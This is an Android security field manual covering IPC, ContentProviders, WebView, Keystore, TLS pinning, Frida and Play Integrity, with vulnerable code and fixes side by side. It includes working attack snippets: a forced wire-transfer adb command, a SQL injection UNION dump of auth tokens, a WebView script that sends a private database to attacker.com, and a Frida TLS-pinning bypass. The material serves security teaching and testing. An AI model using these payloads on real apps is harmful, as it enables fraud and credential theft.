Android Pentest and Security Architecture: 2026 Field Manual and Source Code Analysis
A deep architectural analysis of Android application security: Binder IPC, Keystore/Keymint TEE integration, exported components, WebView exploits, JNI/NDK analysis, and Play Integrity mechanisms under 2026 standards.
Android Pentest and Security Architecture: 2026 Field Manual and Source Code Analysis#
For many years, Android application security assessments were reduced to a superficial checklist: decompile an APK with apktool, inspect flags in AndroidManifest.xml, search for secrets using jadx, and deploy a stock Frida script to disable SSL pinning before redirecting traffic to Burp Suite.
In modern enterprise mobile ecosystems, this superficial routine is obsolete.
Modern Android (Android 14, 15, and beyond) enforces defense-in-depth across multiple layers: from Linux kernel unprivileged process isolation (app_uid) and the Binder IPC driver; to hardware-backed Keymint (Keystore 2.0) residing within TEE and StrongBox Secure Elements; to cryptographic attestation powered by the Play Integrity API.
Thoroughly auditing an Android application requires traversing the entire stack: from the packaged APK structure and the Android Runtime (ART) bytecode engine, to native C/C++ libraries (JNI/NDK), and kernel IPC boundaries.
This manual presents the complete Android security architecture, component attack surfaces, and runtime exploitation primitives through in-depth source code analysis, architectural schematics, and practical investigation workflows aligned with 2026 standards.
1. Android Security Model and Multi-Tiered Trust Boundaries#
Each application installed on an Android device is assigned a distinct Linux user identity (u0_aXXX) and an isolated SELinux domain (untrusted_app). Applications cannot access peer process memory or private sandboxed filesystems by default.
+-----------------------------------------------------------------------------+ | APPLICATION REALM (APP) | | (Package: com.example.bank, UID: u0_a184, SELinux: untrusted_app) | | | | +---------------------------+ +----------------------------------+ | | | ART Virtual Machine | | Native C/C++ Library | | | | (Java/Kotlin Bytecode) |=======>| libnative-crypto.so | | | | - DexClassLoader | JNI | - Direct Memory Control | | | +-------------+-------------+ +-----------------+----------------+ | +----------------|----------------------------------------|-------------------+ | IPC Invocation (Intent / AIDL) | Syscall v v +-----------------------------------------------------------------------------+ | KERNEL & IPC LAYER | | | | +---------------------------+ +----------------------------------+ | | | /dev/binder | | Linux Kernel | | | | (Binder Driver, IPC) | | (cgroups, UID/GID Sandboxing, | | | +-------------+-------------+ | SELinux Enforcement, seccomp) | | +----------------|----------------------+-----------------+-------------------+ | | v v +-----------------------------------------------------------------------------+ | SYSTEM SERVICES & HARDWARE | | | | +---------------------------+ +----------------------------------+ | | | system_server | | keystore2 & Keymint HAL | | | | (ActivityManagerService, | | (Hardware Security Module) | | | | PackageManagerService) | +-----------------+----------------+ | | +---------------------------+ | | | v | | +----------------------------------+ | | | TEE / StrongBox (SE) | | | | (Cryptographic Key Isolation) | | | +----------------------------------+ | +-----------------------------------------------------------------------------+
Comparative Trust Boundary Breakdown#
| Layer | Boundary Scope | Primary Defense Mechanism | Exploitation / Attack Vector |
|---|---|---|---|
| Package / APK | Code & Resource Integrity | APK Signature Scheme v2/v3/v4 | Debug re-signing, Dalvik bytecode injection |
| Operating System | Filesystem & Process Sandboxing | Linux UID/GID isolation, SELinux policies | Root compromises, Kernel local privilege escalation |
| Component / IPC | Inter-Process Communication | android:exported, Custom signature permissions | Exported component injection, Mutable PendingIntent |
| Memory / Native | Native Execution Integrity | ASLR, W^X, Scudo Memory Allocator, CFI | Memory corruption (Use-After-Free, buffer overflow) |
| Cryptography | Key Lifecycle & Storage | Android Keystore 2.0, Keymint HAL | Unauthenticated key usage, side-channel attacks |
| Network / TLS | In-Transit Privacy | Network Security Config (NSC), TLS 1.3 | Custom TrustManager bypasses, dynamic hook interception |
2. Exported Components and IPC Attack Surfaces#
Android components (Activities, Services, Broadcast Receivers, Content Providers) represent the entry points of the application. Beginning with Android 12 (targetSdkVersion 31), every component defining an intent filter must explicitly declare its android:exported attribute.
+-----------------------+ +-----------------------+ | Attacking App | | Target Banking App | | (Rogue Process) | | (com.example.bank) | +-----------+-----------+ +-----------+-----------+ | | | 1. Dispatches Intent (Target: TargetActivity) | | Action: ACTION_VIEW, Extra: {pin: "1234"} | +------------------------------------------------>| [Exported Activity] | | (Bypasses login UI!) | | | 2. Implicit Query via Content URI (content://) | +------------------------------------------------>| [ContentProvider] | | (SQL Injection or | | Directory Traversal) | | | 3. Hijacks Mutable PendingIntent | | (Intent fill-in vulnerability) | +<================================================+ [Exported Service]
1. Activity Exploitation and Access Control Bypass#
When an Activity is flagged with android:exported="true" without enforcing runtime authentication checks, external applications can bypass upstream authentication screens and directly trigger internal business workflows.
Vulnerable Implementation (Java):#
// Target Application: BankTransferActivity.java public class BankTransferActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // VULNERABILITY: No session validation performed! // Directly consumes Intent Extras to execute transactions. String toAccount = getIntent().getStringExtra("target_account"); double amount = getIntent().getDoubleExtra("amount", 0.0); executeWireTransfer(toAccount, amount); } }
Exploitation via ADB:#
# Directly trigger internal activity and pass crafted parameters adb shell am start -n com.example.bank/.BankTransferActivity \ --es target_account "US9988776655" \ --ef amount 50000.0
Secure Remediation:#
// Enforce session state and restrict component visibility if (!SessionManager.getInstance().isUserAuthenticated()) { redirectToLogin(); finish(); return; }
And enforce within AndroidManifest.xml:
<activity android:name=".BankTransferActivity" android:exported="false" />
2. ContentProvider Exploitation: SQL Injection & Path Traversal#
Content Providers mediate structured data access across process boundaries. Unparameterized queries result in direct SQL Injection, while unvalidated file endpoints expose sandboxed storage.
Vulnerable Implementation: SQL Injection#
// UserContentProvider.java @Override public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { SQLiteDatabase db = dbHelper.getReadableDatabase(); // VULNERABILITY: Raw user-controlled selection appended to SQL string! String query = "SELECT * FROM accounts WHERE " + selection; return db.rawQuery(query, null); }
Exploitation:#
# Query the provider to dump the entire database via SQL injection adb shell content query --uri content://com.example.bank.provider/accounts \ --where "1=1) UNION SELECT id, username, secret_key, token FROM auth_tokens--"
Vulnerable Implementation: File Traversal via openFile#
// FileSharingProvider.java @Override public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException { // VULNERABILITY: Last path segment is appended without canonical sanitization File root = new File(getContext().getFilesDir(), "shared"); File target = new File(root, uri.getLastPathSegment()); // ../../databases/credentials.db return ParcelFileDescriptor.open(target, ParcelFileDescriptor.MODE_READ_ONLY); }
Secure Remediation: Canonical Path Validation#
File target = new File(root, uri.getLastPathSegment()).getCanonicalFile(); if (!target.getPath().startsWith(root.getCanonicalPath())) { throw new SecurityException("Directory traversal attempt blocked!"); }
3. Mutable PendingIntent Hijacking (Android 12+)#
Prior to Android 12, PendingIntent objects were mutable by default. An attacker receiving a mutable PendingIntent from a vulnerable app can mutate the underlying Intent (Intent.fillIn) to redirect execution flow using the victim application's elevated permissions.
// VULNERABLE: Mutable intent allows downstream parameter overwrite PendingIntent pi = PendingIntent.getActivity( context, 0, baseIntent, PendingIntent.FLAG_MUTABLE ); // SECURE: Enforce immutable semantics unless mutability is explicitly required PendingIntent pi = PendingIntent.getActivity( context, 0, baseIntent, PendingIntent.FLAG_IMMUTABLE );
3. WebView Security Architecture and Exploitation Vectors#
WebViews instantiate embedded Chromium engines within the application sandbox. Misconfigurations can completely breach sandbox isolation.
+-----------------------------------------------------------------------------+ | APPLICATION SANDBOX (JAVA/KOTLIN) | | | | +-----------------------------------------------------------------------+ | | | Android WebView (Chromium Engine) | | | | | | | | +-------------------------------+ +------------------------------+ | | | | | JavaScript Bridge | | File Scheme Access Policy | | | | | | addJavascriptInterface() | | setAllowFileAccess(true) | | | | | | (@JavascriptInterface Method)| | setAllowUniversalAccess() | | | | | +---------------+---------------+ +--------------+---------------+ | | | +------------------|---------------------------------|------------------+ | +---------------------|---------------------------------|---------------------+ | | | 1. JS Bridge Invocation | 2. Arbitrary File Read v v +-----------------------------------------------------------------------------+ | Sandboxed Filesystem (/data/data/com.example.bank/databases/...) | | Private Shared Preferences, Session Tokens, SQLite Storage | +-----------------------------------------------------------------------------+
Risk Scenarios and Code Auditing#
1. Dangerous Bridge Exposure (addJavascriptInterface)#
While reflection-based RCE was mitigated in API 17+, exposing Java objects providing sensitive actions (e.g., token extraction or filesystem writes) remains dangerous if untrusted websites can be loaded.
// VULNERABLE CONFIGURATION WebSettings settings = webView.getSettings(); settings.setJavaScriptEnabled(true); settings.setAllowFileAccess(true); // Local file access permitted! settings.setAllowFileAccessFromFileURLs(true); settings.setAllowUniversalAccessFromFileURLs(true); // SOP completely disabled! // Exposing native bridges to arbitrary URLs: webView.addJavascriptInterface(new BridgeEngine(), "NativeClient"); webView.loadUrl(getIntent().getStringExtra("landing_url")); // Unsanitized URL!
2. Cross-Origin Local File Exfiltration:#
If an attacker can inject an arbitrary webpage into a WebView with universal file access enabled:
<script> // Exfiltrate private SQLite database over file:// scheme var xhr = new XMLHttpRequest(); xhr.open("GET", "file:///data/data/com.example.bank/databases/auth.db"); xhr.responseType = "blob"; xhr.onload = function() { fetch("https://attacker.com/collect", {method: "POST", body: xhr.response}); }; xhr.send(); </script>
Hardened WebView Implementation:#
WebSettings settings = webView.getSettings(); settings.setJavaScriptEnabled(true); settings.setAllowFileAccess(false); settings.setAllowContentAccess(false); settings.setAllowFileAccessFromFileURLs(false); settings.setAllowUniversalAccessFromFileURLs(false); // Restrict navigation to strict allowlists webView.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { String host = request.getUrl().getHost(); if (host != null && host.endsWith("bank.example.com")) { return false; // Permitted } return true; // Reject untrusted origins } });
4. Cryptography and Android Keystore 2.0 (Keymint / TEE)#
Storing cryptographic secrets in SharedPreferences or local SQLite databases leaves keys exposed to memory extraction and backup harvesting. Modern Android utilizes hardware-backed keys via the Android Keystore 2.0 architecture.
+-----------------------+ | Application Process | | (User Space / ART) | +-----------+-----------+ | 1. Cipher.init(ENCRYPT_MODE, key) v +-----------------------+ | Android Keystore | | (keystore2 Daemon) | +-----------+-----------+ | 2. Binder IPC (android.system.keystore2) v +-----------------------+ | Keymint HAL | | (Hardware Driver) | +-----------+-----------+ | 3. Secure World Call (TrustZone / SMC) v +-------------------------------------------------------+ | HARDWARE SECURITY REALM (TEE / STRONGBOX) | | | | +-----------------------------------------------+ | | | Private Key Material (Never Leaves Hardware)| | | +-----------------------------------------------+ | | | Crypto Accelerator (AES-256-GCM / RSA-4096) | | | +-----------------------------------------------+ | +-------------------------------------------------------+
Hardware-Backed Key Generation Implementation:#
// Hardware-backed AES-256 Key Generation KeyGenParameterSpec keyGenSpec = new KeyGenParameterSpec.Builder( "MasterCipherKey", KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT) .setBlockModes(KeyProperties.BLOCK_MODE_GCM) .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE) .setKeySize(256) // Bind key usage strictly to active device unlock or biometric authentication: .setUserAuthenticationRequired(true) .setUserAuthenticationParameters( 30, // 30-second validity window post-authentication KeyProperties.AUTH_BIOMETRIC_STRONG | KeyProperties.AUTH_DEVICE_CREDENTIAL ) // Utilize dedicated StrongBox secure element when available (e.g. Titan M): .setIsStrongBoxBacked(true) .build(); KeyGenerator keyGenerator = KeyGenerator.getInstance( KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore"); keyGenerator.init(keyGenSpec); SecretKey secretKey = keyGenerator.generateKey();
What Practitioners Must Audit:#
- Software Fallback: Verify whether
KeyInfo.isInsideSecureHardware()reports true; if software fallback is permitted, key material can be dumped from unconfined memory. - Insecure Modes: Ensure symmetric operations reject ECB mode (
AES/ECB/PKCS5Padding) in favor of authenticated encryption (AES/GCM/NoPadding). - Static Initialization Vectors (IV): Reusing the same IV under AES-GCM across multiple encryptions allows complete plaintext reconstruction via XOR analysis.
5. Network Security: NSC, TLS, and Pinning#
From Android 9 (targetSdkVersion 28), cleartext HTTP traffic is disabled by default. Network security policies are configured in /res/xml/network_security_config.xml.
Configuration Audit#
Vulnerable Configuration:#
<?xml version="1.0" encoding="utf-8"?> <network-security-config> <!-- VULNERABILITY: Debug overrides leaked into production APK; enables Burp Suite CA ingestion without root! --> <debug-overrides> <trust-anchors> <certificates src="user" /> </trust-anchors> </debug-overrides> <!-- Cleartext permitted across all domains --> <base-config cleartextTrafficPermitted="true"> <trust-anchors> <certificates src="system" /> <certificates src="user" /> </trust-anchors> </base-config> </network-security-config>
Hardened Enterprise Configuration with Certificate Pinning:#
<?xml version="1.0" encoding="utf-8"?> <network-security-config> <base-config cleartextTrafficPermitted="false"> <trust-anchors> <certificates src="system" /> </trust-anchors> </base-config> <domain-config> <domain includeSubdomains="true">api.bank.example.com</domain> <pin-set expiration="2027-01-01"> <!-- Primary SPKI SHA-256 Pin --> <pin digest="SHA-256">k2v657xUM4Mm80fHpGQCeA6BrSmz0QY4429ET90352k=</pin> <!-- Backup CA Pin --> <pin digest="SHA-256">WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18=</pin> </pin-set> </domain-config> </network-security-config>
6. Runtime Instrumentation & Dynamic Analysis (Frida)#
Static checks identify potential flaws; dynamic runtime instrumentation verifies their real-world exploitability.
Universal Android TLS Pinning Bypass Script (Frida)#
This script disables standard Java X509TrustManager validations and hooks modern OkHttp CertificatePinner instances in memory:
/* Universal Frida SSL Pinning Bypass */ Java.perform(function () { console.log("[*] Initializing TLS pinning bypass hooks..."); // 1. Override default X509TrustManager var TrustManager = Java.use('javax.net.ssl.X509TrustManager'); var SSLContext = Java.use('javax.net.ssl.SSLContext'); var TrustAllCerts = Java.registerClass({ name: 'com.sec.TrustAll', implements: [TrustManager], methods: { checkClientTrusted: function (chain, authType) {}, checkServerTrusted: function (chain, authType) {}, getAcceptedIssuers: function () { return []; } } }); var TrustAllInstance = TrustAllCerts.$new(); SSLContext.init.overload( '[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom' ).implementation = function (km, tm, sr) { console.log("[+] SSLContext.init hooked: Injecting TrustAll TrustManager"); return this.init(km, [TrustAllInstance], sr); }; // 2. Bypass OkHttp v3/v4 CertificatePinner try { var CertificatePinner = Java.use('okhttp3.CertificatePinner'); CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function (hostname, peerCertificates) { console.log("[+] OkHttp CertificatePinner.check() bypassed for: " + hostname); return; // Return clean without throwing CertificateException }; } catch (e) { console.log("[-] OkHttp3 class not located or obfuscated"); } });
7. Native Library Security (JNI/NDK Analysis)#
Modern security implementations frequently move root checks, signature verifications, and key derivations into native compiled binaries (.so) to impede decompilation.
Dynamic JNI Symbol Registration (RegisterNatives)#
Traditional JNI functions expose obvious symbols (e.g., Java_com_example_app_Native_checkRoot). Hardened binaries register functions dynamically inside JNI_OnLoad:
/* native-lib.c */ #include <jni.h> #include <unistd.h> jboolean native_isRooted(JNIEnv *env, jobject thiz) { // Interrogate filesystem for root binaries if (access("/system/bin/su", F_OK) == 0) { return JNI_TRUE; } return JNI_FALSE; } static JNINativeMethod methods[] = { {"isRooted", "()Z", (void *)native_isRooted} }; JNIEXPORT jint JNI_OnLoad(JavaVM *vm, void *reserved) { JNIEnv *env; if ((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_6) != JNI_OK) { return JNI_ERR; } jclass cls = (*env)->FindClass(env, "com/example/bank/SecurityEngine"); // Function pointers mapped at runtime; hidden from IDA/Ghidra export tables! (*env)->RegisterNatives(env, cls, methods, sizeof(methods)/sizeof(methods[0])); return JNI_VERSION_1_6; }
Reverse Engineering Strategy:#
- Open the
.sobinary inGhidraorIDA Pro. - Locate the
JNI_OnLoadfunction within theExportstable. - Identify the
RegisterNativesinvocation; its third argument (methodstable) points to the virtual memory addresses of the bound functions. - Hook the target function via Frida's
Interceptor.attach(targetAddress, ...)to inspect inputs and modify return values.
8. Play Integrity API & Server-Side Verification#
The legacy SafetyNet Attestation API has been fully superseded by the Play Integrity API.
+--------------+ +---------------+ +---------------+ | Application | | Google Play | | Backend | | (Client) | | Servers | | Server | +-------+------+ +-------+-------+ +-------+-------+ | | | | 1. Obtain Cryptographic Nonce | | |<---------------------------------------------------------------+ | | | | 2. requestIntegrityToken(nonce) | +------------------------------>| | | | | | 3. Signed Integrity Token | | |<------------------------------+ | | | | 4. Transmit Token for Verification (HTTPS POST) | +--------------------------------------------------------------->| | | | | 5. Validate Token (Google API) | | |<-------------------------------+ | | | | | 6. Verdict: {deviceRecognition,| | | appLicensing, appRecognition| | +------------------------------->| | | | 7. Session Authorization Granted / Denied | |<---------------------------------------------------------------+
Critical Flaw: Client-Side Decision Making#
If an application parses the integrity verdict on the client device (e.g., checking a boolean returned to the activity), the defense fails. An attacker can simply hook the client method and force a positive return value.
Principle: Play Integrity verdicts must be decrypted and evaluated exclusively on the backend server using Google Cloud API credentials, and bound directly to the user session tokens.
9. Hands-On Investigation Lab (CLI Commands)#
1. Extracting and Decompiling Target Packages#
# Locate package path on device adb shell pm path com.example.bank # Pull APK to local workstation adb pull /data/app/~~xxxxxx/com.example.bank-yyyyy/base.apk # Decode resources and manifest apktool d base.apk -o base_decoded # Decompile Dalvik bytecode to Java source jadx -d base_src base.apk
2. Auditing Exported Components#
# Enumerate exposed surfaces in manifest grep -n 'android:exported="true"' base_decoded/AndroidManifest.xml # Trigger exported component with crafted payload adb shell am start -n com.example.bank/.DeepLinkDispatcherActivity \ -a android.intent.action.VIEW \ -d "myapp://auth/callback?code=EXPLOIT_TOKEN"
3. Logcat and Storage Inspection#
# Intercept sensitive runtime log leaks adb logcat -v time | grep -iE 'password|token|bearer|key|secret' # Extract sandboxed SQLite database (debuggable or root context) adb shell "su -c 'cp /data/data/com.example.bank/databases/*.db /sdcard/'" adb pull /sdcard/app.db sqlite3 app.db ".dump"
10. Summary and Methodology Conclusion#
Modern Android penetration testing is not a linear checklist:
- Manifest and IPC boundaries define the perimeter.
- ART and native binaries determine local execution resilience.
- Keystore 2.0 and TEE protect persistent secrets.
- Cryptographic integrity must be verified by backend services rather than trusting client-asserted states.
No client-side control can be considered permanently tamper-proof; business logic and security policies must always be enforced on the backend.
Related Research & Internal References#
- iOS Pentest and Security Architecture Field Manual - Apple Platform Security, Secure Enclave, ATS, and iOS 26 TLS standards.
- Linux Keylogging and Input Subsystem Architecture: From Kernel to Wayland - Kernel input paths, evdev, and display server boundaries.
- Anti-Debugging for Beginners: How Programs Detect Instrumentation -
ptrace, TracerPid, and process inspection mechanics.
What do you think?
React to show your appreciation